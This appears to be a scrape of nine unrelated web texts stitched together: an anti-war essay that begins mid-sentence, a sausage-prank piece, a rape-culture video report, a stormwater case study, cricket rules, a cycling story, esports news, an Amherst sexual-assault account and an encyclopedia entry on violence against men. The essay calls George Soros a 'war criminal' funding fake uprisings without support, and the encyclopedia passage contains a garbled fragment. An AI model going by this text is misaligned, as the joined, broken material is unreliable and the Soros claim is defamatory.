to? Look no further than the reality of the behavior exhibited by the world’s leaders: If another nation’s policy or politician is disliked, debate. If you don’t get your way, drop bombs on entire populations and take over their nation by force — even if it requires complete fabrication and propaganda (WMD’s anyone?) to gain public support. In simple terms, extreme militarism can only lead to the rise of extremist terrorism; the response of violent resistance to acts of violent imperialism. One cannot exist without the other. They are two sides of the same devastating and irreconcilable coin. In more complex terms, however, violence is the result of conflicting ideologies. Our warring institutions don’t just drop bombs to destroy “enemy” cities and bases, they are attempting to eradicate alternative (“enemy”) ways of thinking and being. This is evidenced by the way the “War On Terror” has become a war on Islam, a war on American privacy, a war on our freedoms of speech and even our right to peaceful assembly. Government transparency is at an all-time low, while public surveillance and corporate-media manipulation are at an all-time high. This is a war for your thinking and being; a war on what you think and what you do. And in the process, our warring institutions are not just imposing authoritarianism on the population they claim to represent, they are seeking to impose “American-Style Freedom” on other diverse nations by force, perpetuating a culture at home that accepts and even supports perpetual conflict while conducting their wars abroad so that only “others” suffer for their misdeeds. In this way, we are never forced to confront the stark reality of our nation’s wars beyond the (carefully selected) images we see on our TV screens. So once again: Who are the terrorist? Who are the war heroes? And really, how the hell do we tell the difference? What is the difference between an IED (homemade bomb) and an RPG (rocket-propelled grenade)? The reality is, both are used to kill and influence, for political ends, to influence thinking and being. Both are extremely effective at ending lives, thereby engendering more violence. No matter what ‘side’ a terrorist is on, they all use the same methods of violence, and they all create the same outcome — more violence. The only difference is in the way we think. The war mentality both encourages and is encouraged by separation, not oneness. One of the best ways to gain and maintain power is to keep the people in constant fear — in fear of wars, of outsiders, and “terrorism”. Built on a narrative of “us” versus “them”, a culture of war-minded fear ensures the public consent to the constant funding of the military-industrial-complex, under the guise of security and protection. In war, institutions and collective thinking become the focus: the “us” becomes “our country”, “our flag”, “our boys overseas”. Or more accurately, “our institutional war identity”. Indeed, the only entities to ever benefit from war are the individuals who hide behind warring institutions and the legal formalities that enshrine them. Those who control the military industrial complex and the private companies that support it have arranged things so that, by design, no matter how the national fervor plays out, no matter what happens or which side ‘wins’, they still prosper one way or the other, and have the protection of their own domestic laws. But, as President Jimmy Carter so rightly pointed out, America cannot be both the world’s champion of peace and the world’s major supplier of weapons. So, with war institutionalized and sold to the public as a legal instrument of peace, it was inevitable we would find ourselves in the perpetual — and hypocritical — cycle of war and conflict we see today. And where are the peacemakers? Where are the protagonists of peace? Today it is not just the United States that is built on a foundation of war; nations around the world pour their resources into preparing for war, building billion dollar war machines, reinforcing polarizing “us and them” thinking at home, espousing the virtues of imperialism and endless “growth”, and promoting violent “intervention” as the only way to achieve it. But the United States is becoming the worst type of nation imaginable. It enacts increasingly anti-individual/pro-institutional domestic laws, and is home to the biggest prison population (and private prison industry) in the world. It employs the biggest military budget in the world (while scrimping on domestic social and infrastructure development), “preempts” wars with other nations and aggressively establishes military bases on their borders, all while maintaining its position as the world’s leading manufacturer of military weaponry. In the process, the United States has transformed from a state that is at peace, promotes peace and yet is prepared for defense, into a state that is at war, promotes war and prepares for war, but uses the Orwellian language of peace. No wonder the American people are so confused. So let’s boil this all down to simple terms… Imagine this. There are four bordering states in a contentious region of the world. One state is of peace, is constantly at peace and prepares for peace. Another state is of war, is constantly at war and prepares for war. Another state is at war, prepares for war and yet is ready for peace. And the last state is at peace, prepares for peace and yet is ready for defense. There are many ways each states may act and react to this situation, but inevitably, the warring state will eventually arrive at the border of the purely peaceful state, and the peaceful state will likely concede. The warring state will arrive at the border of the other nations of war, and will either fight just enough to maintain a status quo of conflict (that is their cultural nature, after all) or fight until one side loses all (while the other loses a lot). Now imagine the winning war state arriving at the border of the peaceful state that is ready for self-defense. Inevitably, the war state will decide it is not worth the confrontation… That is, not without first infiltrating and subverting the nation’s institutions, instilling chaos and discontent, and steering its culture toward war-mindedness. Sound paranoid? The reality of this tactic was clearly evidenced by last year’s George Soros email hack, which revealed the U.S. government collaborator (and therefore war criminal) Soros funds color revolutions (fake grassroots uprisings) through a range of off-shore NGOs (Non-Governmental Organizations) which specialize in propaganda and the overthrow of democratically elected foreign governments. This cunning strategy amounts to the covert terrorism of a society’s consciousness, no less. Nonetheless, peaceful preparedness has proven to be a nation’s best protection against the imperialism of war-minded nations, including one’s own government. It forces warring institutions to abandon plans for outright conflict and invest in programs of social infiltration. Indeed, cultural subversion is the only way a peacefully-prepared nation can be drawn into conflict, regardless of the pretext. And that, readers, is where you and I come into the picture… Do You Want War on Terror? Or Peace on Terra? Terra [noun]: land or territory; Terra [origin] Latin, meaning ‘earth’. The truth is that we live in a world of States that prepare for war, and are at war. We invest trillions in building mechanisms that can destroy our planet, but neglect to build systems that can benefit our planet and benefit us all. We do not design systems that facilitate peace, but which hinder each other in war. We know and accept war, and lies, but we do not know how to help each other. We have to change our mind state. If we are to survive, our systems of war and destruction must be morphed into systems of support and creation, and our culture must morph right along with it. We have to uplift each other. I am a terra-ist. I stand for the Earth and its inhabitants. I strive to be at peace, to act in peace, and to promote peace. I am always be ready to defend myself, to defend others around me, to defend the Earth we call home, and to defend peace itself. And I know I am not alone. “I am prepared to die, but there is no cause for which I am prepared to kill.” ~ Gandhi Terraists embody the exact opposite values of terrorists. They do not prize the abstract notions of power and ideology, but value the real, the natural and the living. Terraists act to protect and provide for all individuals’ needs, with compassionate understanding. Terraists are the people who realize that the more terrorists fight, the further from peace we descend. Terraists build, protect and help others for no reason, other than what it is right, and terraists are prepared to defend against those terrorists (both in and out of uniform) who destroy and kill for reasons they believe justifies their violence. So, to all terraists out there — to those peaceful individuals without uniform, doctrine or dogma — it’s time to stand up and be counted! Be a terraist for peace, rather than a terrorist for a piece. Be a terraist of insight, rather than a terrorist who incites. Build, create, defend and help, for no other reason than it is right — and in today’s war world, it is our only option. The way to global peace isn’t paved with war. History has shown us that dedicating our resources toward creating war doesn’t just lead to more war; it makes war an economic necessity, imperiling us all. The only way to ensure peace in our world is to adopt a doctrine of peace; to give peace a budget, give peace a mandate, and give peace all our energy, both politically and personally — and remove from government, through the power of our will and the weight of our numbers, any individual who fails to act on it. Do not be tricked into thinking that violence by the State is not terrorism. Do not be duped into becoming a terrorist fighting terrorists, mistakenly believing there will later come an opportunity to become a peaceful terraist, once “the war is over.” The reality is, the war will never be over, unless terraists around the world unite and take action on behalf of humanity, terra, and all her inhabitants. About the Author Activist, author and Tai Chi teacher Ethan Indigo Smith was born on a farm in Maine and lived in Manhattan for a number of years before migrating west to Mendocino, California. Guided by a keen sense of integrity and humanity, Ethan’s work is both deeply connected and extremely insightful, blending philosophy, politics, activism, spirituality, meditation and a unique sense of humour. Ethan’s publications include: For more information, visit Ethan on Facebook. This article (The Oxymoron War on Terror – The Greatest Hypocrisy of Our Time) was originally created and published by Ethan Indigo Smith and is re-posted here with permission. ~~ Help Waking Times to raise the vibration by sharing this article with friends and family… -this little piggy went to market This sausage prank exposes our weird food issues I keep watching this video from a hidden-camera prank show (apparently in Brazil). Prank shows, at their best, are basically elaborate psychological experiments that reveal our cognitive biases and allow us to laugh at our own hypocrisy. You should just watch it — but here are the highlights: You’ve got an avuncular fellow offering sausage samples in a supermarket. People ask to buy some fresh sausage, at which point the man produces an adorable piglet and stuffs it into his “sausage machine.” I see this as a version of the famous trolley problem, which goes like this: If a trolley was heading toward five people stuck to the tracks, and you could pull a switch to send it instead to kill just one person, would you? Most people say yes. OK. So if trolley was heading toward five people stuck to the tracks, and there was no switch, but you could push a really fat man in front of the oncoming train (which would surely stop it) would you? And to this, most people emphatically say, “No!” It’s all very well to kill the man by turning a switch, but when you actually have to push him, those foundational moral prohibitions against murder kick in. The trolley problem demonstrates that when people have a certain distance from an unpleasant choice, they tend to be coldly rational, e.g. yes, please kill an animal so I can enjoy its delicious meat. But when we are directly involved, we feel a strong emotional response, e.g. “Save Wilbur!” Notice that it’s the sausage maker who becomes the villain, when of course it’s us, the eaters, who are demanding fresh sausage. And this happens all the time with our food system. We search for cheaper food, but we are shocked when farmers respond by getting bigger and mechanized (so as to sell enough cheaper food to make a decent income). I’m a strong believer in honoring the emotional response. People demand meat and also condemn meat producers for killing. This isn’t stupid; it’s human. We all have these kinds of responses. The best we can do is own them: Let’s stop blaming the butchers out there; they’re just working for us. -‘One thing leads to another.’ (Picture: Youtube/CARE Norway) Rape culture starts in the smallest actions. A ‘joke’ made to your friends. Staring at a woman until she uncomfortably tugs down her skirt. Letting it slide when someone at work says something sexist. It’s also in inaction. Not calling people out. Ignoring the problem. Failing to support a victim when she comes forward. As a new video from CARE Norway shows, each tiny thing can contribute to a society where rape, sexual assault, and domestic violence happen on a daily basis. To hammer that idea home, the #DearDaddy video shows the consequences of those tiny actions and inactions, all happening to one man’s daughter. Yes, it’s a little annoying that we still have to frame rape in terms of happening to someone’s daughter or mother – rather than just ‘rape is a horrible thing, even when it happens to someone you don’t know’ – but the five minute video is pretty powerful. Advertisement Advertisement Because if you’re a dad, you can do all you can to protect your daughter. You can make sure her mum stays safe (and doesn’t eat sushi). But by the time she’s 14, she’ll already have been called a bitch or a whore. She may feel pressured into sex, and do something she doesn’t want to. She may be raped. And given that 1 in 3 women worldwide will experience physical or sexual violence in their lifetime, usually from a male partner, she may find herself in an abusive relationship. It’s not about fear-mongering, suggesting that all men are bad, or the idea that if you make one mistake, your daughter will be hurt. To view this video please enable JavaScript, and consider upgrading to a web browser that supports HTML5 video But what the video shows is that – while it’s impossible for one man to completely protect his daughter from violence – you can take steps towards making the world a safer place for women overall. MORE: 13 things women in their 20s are tired of hearing Advertisement Advertisement MORE: This woman is receiving rape threats for refusing to smile on command MORE: Artist creates an anti-rape cloak to protest victim blaming Advertisement Advertisement -The city of Santa Fe, N.M., added a Walmart Supercenter to the Entrada Contenta subdivision, a mixed-used development that consists of residential and commercial land uses. SMC Consulting Engineers P.C. was retained by Walmart to engineer approximately 17 acres of the watershed planned for the Supercenter, including the building, parking areas, driveways and landscaping. Initially, the site was undeveloped and covered with native grass and trees. The development increased the impervious area of the site, requiring the engineers to design a storm water management system to mitigate the impact of the increased runoff volume and the higher rate of flow. The limited area available for the Walmart development did not allow for an above-ground storm water management system; the engineers needed an underground solution. Aside from the space constraints, Santa Fe County also experiences severe drought conditions, which make water resources scarce. With conservation in mind, the decision was made to collect the storm water runoff from the store’s roof catchment area for irrigation purposes. Using the harvested storm water for irrigation would reduce the use of potable water, especially at times when outdoor irrigation is limited due to water rationing restrictions imposed by the city. Native desert plants were selected for site landscaping to further reduce irrigation demands. Several factors were considered in the selection process for the underground storm water storage systems. Durability, long-term performance and ease of access for inspection and maintenance were important. Additional consideration was given to the speed and ease of installation, as well as a system’s accommodation of the existing subgrade conditions. Last, the overall footprint and a cost-benefit analysis were considered for each of the underground systems. StormTrap provided one DoubleTrap system for storm water detention and a second system for rainwater harvesting. Together, they protect the downstream drainage system from increased flow rate and higher volume of storm water runoff from the Walmart site, and also provide a viable option for water reuse or irrigation. A construction crew excavated a 12-ft-deep area below the planned parking lot and set the 10-ft detention system on a compacted aggregate base. To ensure that the system was watertight, an impermeable liner and geotextile fabric were wrapped around it. The detention system is designed to store more than 50,000 cu ft of storm water runoff. The runoff from the parking areas flows through the onsite storm sewer conveyance system and is treated by storm water quality devices prior to entering the detention system. The stage-storage sizing of the underground detention system was designed for the SCS Type II, 24-hour storm interval for various storm events. Unit hydrographs and computed flood hydrographs for the existing and proposed conditions were developed using the Natural Resources Conservation Service hydrograph method. The outlet structure of the detention system was sized to regulate the release to the downstream storm water conveyance system at levels lower than historical flow rates. SMC Consulting Engineers performed testing on the rainwater harvesting system prior to commissioning it. A sequence of operations was developed to simulate various phases of the harvesting system and evaluate its response mechanism to different scenarios. Similar testing was done for the storm water detention system. Both systems functioned per intended design and were commissioned once they met the set operational benchmarks. The rainwater harvesting system is composed of 50 10-ft DoubleTrap pieces and holds more than 15,000 cu ft of storm water runoff collected from the roof catchment area. The stored water is utilized to irrigate the site‘s landscaping. The storm water management systems allowed the project engineers to maximize the storage volume and minimize the project footprint to allow room for additional parking and reduce the overall cost. SMC Consulting Engineers found that both systems were easy to install, and their clear open configuration allows walk-through access for future inspection and maintenance. -1. All matches are 20 overs per side, with the teams divided into three groups - North (Derbyshire, Durham, Lancashire, Leicestershire, Nottinghamshire, Yorkshire), Midlands/West/Wales (Glamorgan, Gloucestershire, Northamptonshire, Somerset, Warwickshire, Worcestershire), and South (Essex, Hampshire, Kent, Middlesex, Surrey, Sussex). 2. Matches start at 5.30pm (although there might be some changes to fit in with television schedules), with a 15-minute interval before the start of the second innings at 7.00pm. 3. Each innings should last no longer than 75 minutes. 4. Teams will incur a six-run penalty if they fail to bowl the full 20 overs within the 75 minutes. 5. New batsmen must be in position within 90 seconds of a wicket falling. 6. Only two fielders are allowed outside an inner circle during the first six overs of a team's innings. 7. Bowlers are permitted a maximum of a fifth of the total overs in a completed innings (ie four overs if there is no delay or interruption caused by rain). 8. Umpires can impose a five-run penalty for time-wasting by batsmen. They are expected to be ready as soon as the bowler is ready. 9. No-balls will be penalised by a free-hit next ball with standard rules on no-ball dismissals applying. 10. Each side must face a minimum of five overs for a match to be valid. The Duckworth-Lewis method will be used to calculate run targets in rain-affected games. 11. The three group winners and best second-placed team will progress to the semi-finals/final day on July 19. 12. The overall winners will receive £42,000, the runners-up £21,000 and the losing semi-finalists £10,000 each. © ESPN Sports Media Ltd. -A sunny and warm Good Friday in the Greater Toronto Area had crowds of cyclists reaching for their bikes to take advantage of the first really nice riding day of the spring. While many took the opportunity to put in their first relatively big ride of the year, two students from the University of Toronto decided to take that to the next level and tackle a distance they’d never ridden before. Not many would decide to do an almost 300 km ride around the Niagara peninsula passing through Port Colborne, Fort Erie, Niagara Falls, Niagara on the Lake and Hamilton in mid-April. On Thursday afternoon, Kamil Krawczyk made the decision to do a big ride and turned to the University of Toronto Road Racing team Facebook page to look for someone to join him. “I was feeling a bit down and overwhelmed with work and the progress of my PhD,” Krawczyk explained on Saturday afternoon after a morning of rest and recovery. “It’s been preventing me from enjoying cycling in the same capacity that I had enjoyed it for in the past. I felt that going on a long ride with nothing but the experience itself to think about would clear things up for me.” It was not Krawczyk first big ride but it would be the biggest. In November 2014, Krawczyk rode a brevet with the BC Randonneurs and a friend from the University of British Columbia Cycling Team. That day put 257 km into his legs but that was almost three years ago. RELATED: Garmin Edge 820 review “I couldn’t quite grasp what a 300 km ride would feel like or if I was even physically fit enough to do one,” Krawczyk who is from B.C. explained about the challenge of the ride. “I had taken a two-year hiatus from cycling after moving to Ontario due to an injury, and only started training seriously again as of January. This was the biggest mental factor – the worry of not being up to snuff by this point just yet. I was training primarily for racing, and not for long distance endurance stuff. I tried to throw in the occasional century but nothing longer than a 100 km since the beginning of the year.” With phenomenal weather with a high of 16 degrees on the day Krawczyk boarded the GO train from downtown Toronto to their starting point in Burlington. At around 9 a.m. the two riders started pedaling heading first through Dundas and then towards Port Colborne on Lake Erie. Across the Southern portion of the route along the northern shore of Lake Erie, the pair had a steady headwind meaning the going was a little slower than expected. On arrival to Niagara Falls, it was time to refuel and focus on the last portion of the ride. RELATED: 7 strategies to avoid burning matches at the front of the group ride “Never try to get a meal at Niagara Falls when the weather is nice. It took half an hour to get two pizza slices and a drink, which on a normal day wouldn’t be such a big deal,” he said noting that the time constraint did make the long break problematic. “Because it was Good Friday, many places were closed especially in rural parts of the province. It was hard to find somewhere to fill up my bidons or grab a more protein-heavy snack.” RELATED: Exploring new roads and new fuelling methods With only five hours to make it back to Burlington, 100 km from Niagara Falls, the two riders buried themselves covering 62 km in less than two hours before needing to take another break to refuel. “That’s what definitely made the last stretch so hard – we should have been a little smarter and conserved our energy for the last haul. I think what got me through those two hours was the worry of being stranded or having to ride back from Burlington to Toronto and the fact that I really, really wanted a cold Slurpee,” he recalled about the toughest part of the ride. “The last 40 km were the worst since I had nearly run out water and was starting to feel dehydrated. It was a relief to get back to the train station and fill my water bottle up a good four times.” After the big spring ride, Krawczyk had some advice for others looking to tackle such a big ride. “Take some time to build up to it. If you haven’t done a 200 km trip, don’t try a 300 km trip just yet. Try to get accustomed to riding these distances and to supporting yourself. Make sure you’ve had a lot of sleep and a hearty meal the night before,” he said. “Bring more than what you expect you’ll need – that goes for food, hydration and bike consumables, especially tubes and maybe a spare tire. Start early and don’t overexert yourself at the get-go,” he added. “You’ll need that energy more than you need at the end. And most importantly, don’t do it by yourself. Bring a friend for some moral support, conversation, and troubleshooting talks if need be down the road.” The ride from the train station in Burlington took the pair 11 hours 35 minutes and covered 296.2 km. They also rode the distance between the train station to their apartments in Toronto making it a well over 300 km day. Upon arriving home, Krawczyk shared a screenshot of the Strava ride on Reddit and received 3347 upvotes and over 200 comments. It was a response he did not expect. RELATED: How to recover from your first long ride of the season “It definitely worked,” Krawczyk said about the experience bringing the joy of cycling back. “I couldn’t take my mind off of the beauty of southern Ontario. I was constantly telling my riding partner about how excited I was to go on these country roads, how the air was so fresh compared to the city and how this reminded me of home. I bet I got a little annoying. Most importantly, I was able to get back in tune with what I loved about this sport and clear my head.” -Team Liquid will not execute on its plan to split time in its mid-lane position between Greyson "Goldenglue" Gilmer and Austin "Link" Shin, and Link will move out of the team house this week, the team confirmed to ESPN on Wednesday. Liquid is currently also pursuing former Team Dignitas coach David "Cop" Roberson and former Big Gods support Kevin "KonKwon" Kwon as player substitutes who will not actively rotate or live in the team house, according to sources close to all parties. Team Liquid declined to comment on Cop and KonKwon. Editor's Picks League of Legends global power rankings through Feb. 7 FlyQuest soars while Dignitas plummets in the NA LCS. And bbq Olivers? It looks as good as ever, but the squad will be tested with tough matchups coming against SKT and Longzhu. The team attempted to split practice time between Goldenglue and Link over the past few weeks but found the results were not adequate for Link to transition to the League Championship Series stage. As a result, Link will return to his family home in the San Francisco area but remain as a listed and paid substitute on Team Liquid, in accordance with Riot Games' policy on substitutes. Liquid told ESPN it's willing to facilitate transfers for the player if another team has interest. "We split scrims and also provided some focused solo queue practice, but the results were not there to support making a change in the mid-lane starting position at this time," Team Liquid co-CEO Steve Arhancet told ESPN. "We will continue to strive for excellence for the team to compete at the highest level and have to make decisions with the information for results in the timeframes we want them. Austin has an impeccable work ethic, extremely intelligent player and glad we will be maintaining the substitute position with him in just a different capacity." Link, the mid-laner known for his time on Counter Logic Gaming, first joined Liquid on Jan. 5. The team intended to rotate him with Goldenglue in the mid-lane position, it announced at the time. Before playing for Gravity Gaming and coaching Team Dignitas, Cop was the AD carry for Curse, the League of Legends team that merged with Team Liquid in December 2014. If the agreement with Liquid is completed, he will once again work with Arhancet, who at the time was the sole owner of Team Curse. -A former Amherst College student's account of being raped on campus — and the administration's contemptible response — is going viral on college campuses around the nation, so much so that the Amherst Student newspaper's website shut down for hours thanks to pageviews late last night. Some students at the elite liberal arts college say it's about time the public realizes Amherst is more concerned with keeping up appearances than clamping down on rape culture. "Some nights I can still hear the sounds of his roommates on the other side of the door, unknowingly talking and joking as I was held down," wrote Angie Epifano, a former member of the Amherst class of 2014, in the Amherst Student article that's being circulated via social media and college listservs across the country. "I had always fancied myself a strong, no-nonsense woman...May 25th [2011] temporarily shattered that self-image and left me feeling like the broken victim that I had never wanted to be." Epifano didn't report the rape — which she alleges was by an acquaintance, in a dormitory — until after the following February, when she had to work with her rapist on a fundraising project and couldn't deal with his smirks, winks, and pats on the back. She tried to seek help from Amherst's sexual assault counselor, which didn't go so well: In short I was told: No you can't change dorms, there are too many students right now. Pressing charges would be useless, he's about to graduate, there's not much we can do. Are you SURE it was rape? It might have just been a bad hookup…You should forgive and forget. How are you supposed to forget the worst night of your life? I didn't know what to do any more. For four months I continued wondering around campus, distancing from my friends, and going to counseling center. I was continuously told that I had to forgive him, that I was crazy for being scared on campus, and that there was nothing that could be done. They told me: We can report your rape as a statistic, you know for records, but I don't recommend that you go through a disciplinary hearing. It would be you, a faculty advisor of your choice, him, and a faculty advisor of his choice in a room where you would be trying to prove that he raped you. You have no physical evidence, it wouldn't get you very far to do this. Advertisement Epifano's 5,000 word piece details her consequent breakdown: she claims the school abruptly decided to admit her into a psychiatric ward after she made suicidal comments spurred by the despair she felt when her allegations were repeatedly ignored. Once inside, Epifano resolved to stop feeling ashamed by her rape. She returned to Amherst, experienced the same unsympathetic treatment from the administration, and ultimately decided to transfer. Her rapist graduated, with honors. "The fact that such a prestigious institution could have such a noxious interior fills me with intense remorse mixed with sour distaste," she wrote. "I am sickened by the Administration's attempts to cover up survivors' stories, cook their books to discount rapes, pretend that withdrawals never occur, quell attempts at change, and sweep sexual assaults under a rug...Why can't we know what is really happening on campus? Why should we be quiet about sexual assault?" Epifano's story is harrowing on its own, but it's not the only one coming out of the woodwork thanks to recent controversy over an offensive fraternity t-shirt and a subsequent campus-wide meeting regarding the administration's sexual misconduct policy and issues of "sexual respect" on campus. Advertisement The clothing in question is care of "underground" fraternity Theta Delta Chi (TD), which holds an annual pig-on-a-spit "Bavaria"-themed party. Last year, the creative brothers came up with this design: a woman in her bra and thong, with bruises on her side and an apple jammed in her mouth, tied up on a spit over a fire, while a pig, cigar in hand, watches the woman roast. "This is what sexism and misogyny look like at a so-called progressive, elite, liberal arts institution in 2012," wrote Amherst senior Dana Bolger — an on-campus rape survivor herself — on AC Voice, a student-run blog. Bolger decried the administration for holding "an unadvertised, effectively closed-door discussion with a handful of students and frat members" to remedy the situation, during which "boys-will-be-boys" comments ("We were just a bunch of drunk guys sitting around on a Friday night designing the shirt") and a blanket apology were deemed satisfactory. "The administration's inadequate response to the t-shirt incident was not an anomaly and seems part of a larger pattern of forgiving instances of violence against women on campus," Bolger wrote, continuing: According to a Title IX committee meeting I attended last spring, Amherst has expelled only one student for rape in its entire history—and only after a criminal court sentenced him to time in jail. Meanwhile, our disciplinary committee has found other students guilty of sexual misconduct but ultimately permitted them to continue their Amherst educations. Faced with the non-choice of staying on campus with his/her rapist or leaving, many sexual assault survivors I know take time off, transfer, or drop out altogether. Advertisement Bolger's blog post incited so much controversy that Amherst's president, Carolyn "Biddy" Martin, invited all 1,791 undergraduates to an open campus-wide discussion, which took place last Sunday, October 14th. According to the Amherst Student, a mixture of administrators, faculty, coaches, fraternity members and survivors of sexual assault attended to talk about the school's fraternities, lax punishments for misconduct, and ways in which students could more actively help reshape Amherst's sexual assault policy. The administration hasn't released any sexual assault statistics*, but the Amherst Student reported that "few cases have gone the full distance in the disciplinary process at the College." Of course, we have national statistics: 95% of campus attacks go unreported, according to the American Association of University Women. Two thirds of assaults are committed by someone known to the victim, according to the Rape, Abuse and Incest National Network. "I also want to encourage you to think about other aspects of life at Amherst, both the positive and the less than positive, and to imagine what it would take to strengthen our sense of community, enhance your education outside of the classroom, and have more fun," Martin wrote in last Sunday's meeting announcement. "Fun?" Catherine Bryars ('12) asked us. "See how they're putting this in the fast route to get away from anything negative?" Bryars, who is currently devoting her first post-grad year to pressuring Amherst's administration to revamp their sexual assault policies — as a graduate, it's easier for her to speak on behalf of her former peers who still have to spend every day on the small, rural campus — said that last year was an "explosive" one, thanks to the number of female students who opened up about how their on-campus sexual assaults had been mishandled. "Girls kept coming forward and saying that staff members had told them to consider sympathizing with their rapists, or go home for a period of time," Bryars said. "I think that the campus culture overall is to stay silent, to deny, to not come forth with dissent." Advertisement Sunday's meeting was the administration's first attempt to challenge that assumption. Amherst's fraternities, which are technically banned on campus, were a big talking point; they're not allowed to hold on-campus parties or attend on-campus meetings, but many of them live together in suites on campus, and the Bavaria party at which the t-shirt was sold was held on campus. For this reason, the TD members who attended Sunday's meeting couldn't publicly acknowledge their fraternity membership. "Fraternities exist in a regulatory grey area where we all sort of pretend they don't exist," Emma Saltzberg ('13) told the paper. "It creates a culture where the administration agrees to look the other way. When you know that you exist in a grey area and that the administration is wiling to ignore your existence, that gradually turns into a culture of brazenness and in this instance, you see that people exploited that." Therein lies one obvious (and bizarre) problem in need of a solution. The school's aforementioned lenient repercussions for sexual misconduct also came up often during the meeting: according to the Amherst Student, the record of sanctions released by the College last spring show that students found responsible for sexual assault were usually suspended for two to four semesters, while punishment for theft of a laptop resulted in five semesters' suspension. Another issue, raised by Bolger, is how students on the disciplinary committee are chosen from a very narrow pool that includes few women and is, therefore, hardly representative of the student body. But it seems that the larger, underlying problem is Amherst's obsession with keeping up appearances. If the college continues to prioritize its reputation over the well-being of its female students, little will change. Bryars said she feels confident that Martin, who has only been president for a year, will eventually realize that Amherst is doing its students a major disservice by refusing to take sexual assault seriously. But will Martin and her administration risk tarnishing Amherst's storied reputation as the second best liberal arts school in the nation by doing so? Now — thanks to Epifano's widely-circulated essay and the efforts of students like Bryars and Bolger — it seems they won't have a choice. Advertisement Update: President Martin has issued a response to Epifano's essay. An excerpt: "Clearly, the administration's responses to reports have left survivors feeling that they were badly served. That must change, and change immediately." *Edit: According to the Jeanne Clery Disclosure of Campus Security Policy and Campus Crime Statistics Act Report, Amherst reported 15 on-campus forcible sex offenses in 2011. -Violence against men (VAM), consists of violent acts that are disproportionately or exclusively committed against men. Men are overrepresented as both victims[1][2] and perpetrators of violence.[3][4] Sexual violence against men is treated differently in any given society from that committed against women, and may be unrecognized by international law.[5][6][7][8] Perceptions [ edit ] Studies of social attitudes show violence is perceived as more or less serious depending on the gender of victim and perpetrator.[9][10][11] According to a study in the publication Aggressive Behavior, violence against women was about a third more likely to be reported by third parties to the police regardless of the gender of the attacker,[12] although the most likely to be reported gender combination was a male perpetrator and female victim.[12] The use of stereotypes by law enforcement is a recognised issue,[13] and international law scholar Solange Mouthaan argues that, in conflict scenarios, sexual violence against men has been ignored in favor of a focus on sexual violence against women and children.[14] One explanation for this difference in focus is the physical power that men hold over women making people more likely to condemn violence with this gender configuration.[15] The concept of male survivors of violence go against social perceptions of the male gender role, leading to low recognition and few legal provisions.[16] Often there is no legal framework for a woman to be prosecuted when committing violent offenses against a man.[17] Richard Felson challenges the assumption that violence against women is different from violence against men. The same motives play a role in almost all violence, regardless of gender: to gain control or retribution and to promote or defend self-image.[18] Writing for TIME, Cathy Young criticised the feminist movement for not doing enough to challenge double standards in the treatment of male victims of physical abuse and sexual assault.[19] Domestic violence [ edit ] In 2013 editor-in-chief of the journal Partner Abuse, John Hamel,[20] set up the Domestic Violence Research Group to create the "Partner Abuse State of Knowledge Project (PASK)".[21] PASK found parity in rates of both perpetration and victimisation for men and women.[22] Men who are victims of domestic violence are at times reluctant to report it or to seek help. According to some commentators there is also a paradigm that only males perpetrate domestic violence and are never victims.[23] Shamita Das Dasgupta and Erin Pizzey are amongst those who argue that, as with other forms of violence against men, intimate partner violence is generally less recognized in society when the victims are men.[24][25] Violence of women against men in relationships is often 'trivialized'[3][26][27] due to the supposed weaker physique of women; in such cases the use of dangerous objects and weapons is omitted.[3] Research since the 1990s has identified issues of perceived and actual bias when police are involved, with the male victim being negated even whilst injured.[28] Female violence against men [ edit ] According to the journalist Martin Daubney "...there remains a theory that men under report their experiences [of violence by women against men] due to a culture of masculine expectations.[29] The official figure in the United Kingdom, for example, is about 50% of the number of acts of violence by men against women, but there are indications that only about 10% of male victims of female violence report the incidents to the authorities, mainly due to taboos and fears of misunderstanding created by a culture of masculine expectations.[30] By comparison 1.9 million people aged 16–59 told the Crime Survey for England and Wales (year ending March 2017), that they were victims of domestic violence and 79% did not report their partner or ex-partner. Of the 1.9 million, approximately 1.2 million were female and 713,000 were male.[31] A Canadian report found that men were 22% more likely to report being victims of spousal violence in their current relationship than women.[30][32] Researchers Stemple and Meyer report that sexual violence by women against men is often understudied or unrecognized.[33] Forced circumcision [ edit ] [34] patented device designed to prevent masturbation by inflicting electric shocks upon the perpetrator, by ringing an alarm bell, and through spikes at the inner edge of the tube into which the penis is inserted. Circumcision was recommended to prevent masturbation. Non-therapeutic male circumcision is considered, by several groups, to be a form of violence against young men and boys.[35][36] The International Criminal Court considers forced circumcision to be an "inhumane act".[35] Some court decisions have found it to be a violation of a child's rights.[37] In certain countries, such as Australia, Bangladesh, Canada, Indonesia, Pakistan, the Philippines, South Korea, Turkey and the United States, newborn baby males are routinely circumcised without the child's consent.[38][39] As well, the Jewish and Muslim faiths circumcise boys at a young age.[40] It is also practiced in Coptic Christianity and the Ethiopian Orthodox Church.[39][41] Any cutting whatsoever of a female's genitals, also known as female genital mutilation, has been banned in most Western countries, starting in Sweden in 1982 and the United States in 1997.[42] When Sweden outlawed it in 1982, it became the first Western country to do so.[43]:611 Several former colonial powers, including Belgium, Britain, France and the Netherlands, followed suit, either with new laws or by making clear that it was covered by existing legislation.[44][45][46] Although a 2012 court ruling in Germany put the practice of male cutting under question, calling circumcision "grievous bodily harm," the German parliament passed a law to keep circumcision of boys legal.[47] As of 2016, cutting of boys' foreskins is still legal worldwide.[38] Mass killings [ edit ] Serbian victims during insurgency in the Kosovo War In situations of structural violence that include war and genocide, men and boys are frequently singled out and killed.[48] The murder of targets by sex during the Kosovo War, estimates of civilian male victims of mass killings suggest that they made up more than 90% of all civilian casualties.[48] Non-combatant men and boys have been and continue to be the most frequent targets of mass killing and genocidal slaughter, as well as a host of lesser atrocities and abuses.[49] Gendercide Watch, an independent human rights group, documents multiple gendercides aimed at males (adult and children): The Anfal Campaign,[50] (Iraqi Kurdistan), 1988 – Armenian Genocide[51] (1915–17) – Rwanda, 1994.[52] Forced conscription can also be considered gender-based violence against men.[53] Sexual violence [ edit ] In armed conflict, sexual violence is committed by men against men as psychological warfare in order to demoralize the enemy.[54] The practice is ancient, and was recorded as taking place during the Crusades.[55] Castration is used as a means of physical torture with strong psychological effects, namely the loss of the ability to procreate and the loss of the status of a full man.[55] International criminal law does not consider gender based sexual violence against men a separate type of offense and treats it as war crimes or torture.[56] The culture of silence around this issue often leaves men with no support.[57] In 2012, a UNHCR report stated that "SGBV (sexual and gender based violence) against men and boys has generally been mentioned as a footnote in reports".[58] In one study, less than 3% of organizations that address rape as a weapon of war, mention men or provide services to male victims.[6][8][59] It was noted in 1990 that the English language is "bereft of terms and phrases which accurately describe male rape".[60] 